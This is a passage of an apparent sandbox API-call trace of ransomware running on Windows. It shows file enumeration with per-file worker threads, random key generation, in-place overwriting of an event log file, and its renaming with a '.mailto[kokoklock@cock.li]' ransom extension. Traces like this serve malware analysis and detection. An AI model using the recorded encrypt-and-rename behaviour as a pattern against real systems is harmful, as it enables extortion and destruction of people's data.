hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x43f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="loading.gif", cAlternateFileName="")) returned 1 [0072.882] wcscmp (_String1="loading.gif", _String2=".") returned 1 [0072.882] wcscmp (_String1="loading.gif", _String2="..") returned 1 [0072.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426c58 [0072.882] wcscpy (in: _Dest=0x3426c58, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.882] wcscat (in: _Dest=0x3426c58, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.882] wcscat (in: _Dest=0x3426c58, _Source="loading.gif" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\loading.gif") returned="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" [0072.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0072.883] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0xe5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="lock.png", cAlternateFileName="")) returned 1 [0072.883] wcscmp (_String1="lock.png", _String2=".") returned 1 [0072.883] wcscmp (_String1="lock.png", _String2="..") returned 1 [0072.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x347fca0 [0072.883] wcscpy (in: _Dest=0x347fca0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.883] wcscat (in: _Dest=0x347fca0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.883] wcscat (in: _Dest=0x347fca0, _Source="lock.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\lock.png") returned="C:\\Windows10Upgrade\\resources\\ux\\lock.png" [0072.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0072.884] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xa33, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0072.884] wcscmp (_String1="logo.png", _String2=".") returned 1 [0072.885] wcscmp (_String1="logo.png", _String2="..") returned 1 [0072.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3480300 [0072.885] wcscpy (in: _Dest=0x3480300, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.885] wcscat (in: _Dest=0x3480300, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.885] wcscat (in: _Dest=0x3480300, _Source="logo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\logo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png" [0072.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0072.885] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="marketing.png", cAlternateFileName="MARKET~1.PNG")) returned 1 [0072.886] wcscmp (_String1="marketing.png", _String2=".") returned 1 [0072.886] wcscmp (_String1="marketing.png", _String2="..") returned 1 [0072.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3427618 [0072.886] wcscpy (in: _Dest=0x3427618, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.886] wcscat (in: _Dest=0x3427618, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.886] wcscat (in: _Dest=0x3427618, _Source="marketing.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\marketing.png") returned="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" [0072.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0072.886] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea60a72c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WinJS", cAlternateFileName="MICROS~1.WIN")) returned 1 [0072.887] wcscmp (_String1="Microsoft.WinJS", _String2=".") returned 1 [0072.887] wcscmp (_String1="Microsoft.WinJS", _String2="..") returned 1 [0072.887] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dd20 [0072.887] wcscpy (in: _Dest=0x347dd20, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.887] wcscat (in: _Dest=0x347dd20, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.887] wcscat (in: _Dest=0x347dd20, _Source="Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0072.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347dd20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0072.887] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea627c0d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea627c0d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x97e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkIssueFAQ.mht", cAlternateFileName="NETWOR~1.MHT")) returned 1 [0072.888] wcscmp (_String1="NetworkIssueFAQ.mht", _String2=".") returned 1 [0072.888] wcscmp (_String1="NetworkIssueFAQ.mht", _String2="..") returned 1 [0072.888] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479c40 [0072.888] wcscpy (in: _Dest=0x3479c40, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.888] wcscat (in: _Dest=0x3479c40, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.888] wcscat (in: _Dest=0x3479c40, _Source="NetworkIssueFAQ.mht" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht") returned="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" [0072.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0072.889] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x875, dwReserved0=0x0, dwReserved1=0x0, cFileName="NoNetworkConnection.png", cAlternateFileName="NONETW~1.PNG")) returned 1 [0072.889] wcscmp (_String1="NoNetworkConnection.png", _String2=".") returned 1 [0072.889] wcscmp (_String1="NoNetworkConnection.png", _String2="..") returned 1 [0072.889] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd0f0 [0072.889] wcscpy (in: _Dest=0x33cd0f0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.889] wcscat (in: _Dest=0x33cd0f0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.889] wcscat (in: _Dest=0x33cd0f0, _Source="NoNetworkConnection.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" [0072.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0072.890] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NoNetworkConnectionHoverOver.png", cAlternateFileName="NONETW~2.PNG")) returned 1 [0072.890] wcscmp (_String1="NoNetworkConnectionHoverOver.png", _String2=".") returned 1 [0072.890] wcscmp (_String1="NoNetworkConnectionHoverOver.png", _String2="..") returned 1 [0072.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e24e0 [0072.890] wcscpy (in: _Dest=0x33e24e0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.890] wcscat (in: _Dest=0x33e24e0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.890] wcscat (in: _Dest=0x33e24e0, _Source="NoNetworkConnectionHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" [0072.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e24e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0072.891] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="pass.png", cAlternateFileName="")) returned 1 [0072.891] wcscmp (_String1="pass.png", _String2=".") returned 1 [0072.891] wcscmp (_String1="pass.png", _String2="..") returned 1 [0072.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x347fbe0 [0072.891] wcscpy (in: _Dest=0x347fbe0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0072.891] wcscat (in: _Dest=0x347fbe0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0072.891] wcscat (in: _Dest=0x347fbe0, _Source="pass.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\pass.png") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png" [0072.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0072.892] FindNextFileW (in: hFindFile=0x3434268, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="pass.png", cAlternateFileName="")) returned 0 [0072.892] FindClose (in: hFindFile=0x3434268 | out: hFindFile=0x3434268) returned 1 [0072.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c7f0) returned 1 [0072.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa0a8) returned 1 [0072.893] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9ec8) returned 1 [0072.893] RtlExitUserThread (Status=0x0) Thread: id = 152 os_tid = 0x10d8 [0062.942] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0062.942] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0062.942] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0062.942] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x982fb84 | out: lpFileSize=0x982fb84*=69632) returned 1 [0062.942] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.943] ReadFile (in: hFile=0x3cc, lpBuffer=0x982fb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x982fb54, lpOverlapped=0x0 | out: lpBuffer=0x982fb58*, lpNumberOfBytesRead=0x982fb54*=0x4, lpOverlapped=0x0) returned 1 [0062.944] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca88 [0062.944] NtQuerySystemTime (in: CurrentTime=0x982fb30 | out: CurrentTime=0x982fb30*=132121176208308936) returned 0x0 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x24f9f40f [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xbb97e526 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xc85d8c70 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xd65c9e4f [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xac9e1d8d [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x14405999 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x3db5084d [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xa7358b7c [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xfb3d2471 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x24f4e2af [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xf31ec02d [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x85d15650 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x7710f0cf [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xa0ce9839 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xbd27d429 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x9588c88e [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xdc60aba [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xba7b729d [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x449357b3 [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x59dc229b [0062.944] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x4667ee19 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x287acf00 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x56de9bc6 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xa0007b13 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xf365d767 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xaaae7684 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x51c2035c [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x86e3c4e0 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x4cf042cd [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x3bfdd0d1 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0xa8996ba5 [0062.945] RtlRandom (in: Seed=0x982fb3c | out: Seed=0x982fb3c) returned 0x9f157a2d [0062.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0062.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0062.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0062.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0062.956] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.956] ReadFile (in: hFile=0x3cc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x982fb08, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x982fb08*=0x4096, lpOverlapped=0x0) returned 1 [0062.956] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd550 [0062.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0062.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0062.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0062.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0062.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cad8) returned 1 [0062.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0062.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0062.958] WriteFile (in: hFile=0x3cc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x982fb08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x982fb08*=0x4096, lpOverlapped=0x0) returned 1 [0062.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.959] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.959] WriteFile (in: hFile=0x3cc, lpBuffer=0x347ca60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x982fb40, lpOverlapped=0x0 | out: lpBuffer=0x347ca60*, lpNumberOfBytesWritten=0x982fb40*=0x20, lpOverlapped=0x0) returned 1 [0062.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0062.959] WriteFile (in: hFile=0x3cc, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x982fb54, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x982fb54*=0x8, lpOverlapped=0x0) returned 1 [0062.959] WriteFile (in: hFile=0x3cc, lpBuffer=0x982fb6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x982fb54, lpOverlapped=0x0 | out: lpBuffer=0x982fb6c*, lpNumberOfBytesWritten=0x982fb54*=0x4, lpOverlapped=0x0) returned 1 [0062.959] WriteFile (in: hFile=0x3cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x982fb54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x982fb54*=0x4, lpOverlapped=0x0) returned 1 [0062.959] WriteFile (in: hFile=0x3cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x982fb54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x982fb54*=0x6c, lpOverlapped=0x0) returned 1 [0062.959] WriteFile (in: hFile=0x3cc, lpBuffer=0x347cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x982fb54, lpOverlapped=0x0 | out: lpBuffer=0x347cab0*, lpNumberOfBytesWritten=0x982fb54*=0x20, lpOverlapped=0x0) returned 1 [0062.959] WriteFile (in: hFile=0x3cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x982fb54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x982fb54*=0x4, lpOverlapped=0x0) returned 1 [0062.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0062.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.960] CloseHandle (hObject=0x3cc) returned 1 [0062.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x33ca4f8 [0062.963] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" [0062.963] wcscat (in: _Dest=0x33ca4f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0062.963] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.963] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0062.964] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0062.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34345a8 [0062.964] wcscpy (in: _Dest=0x34345a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") 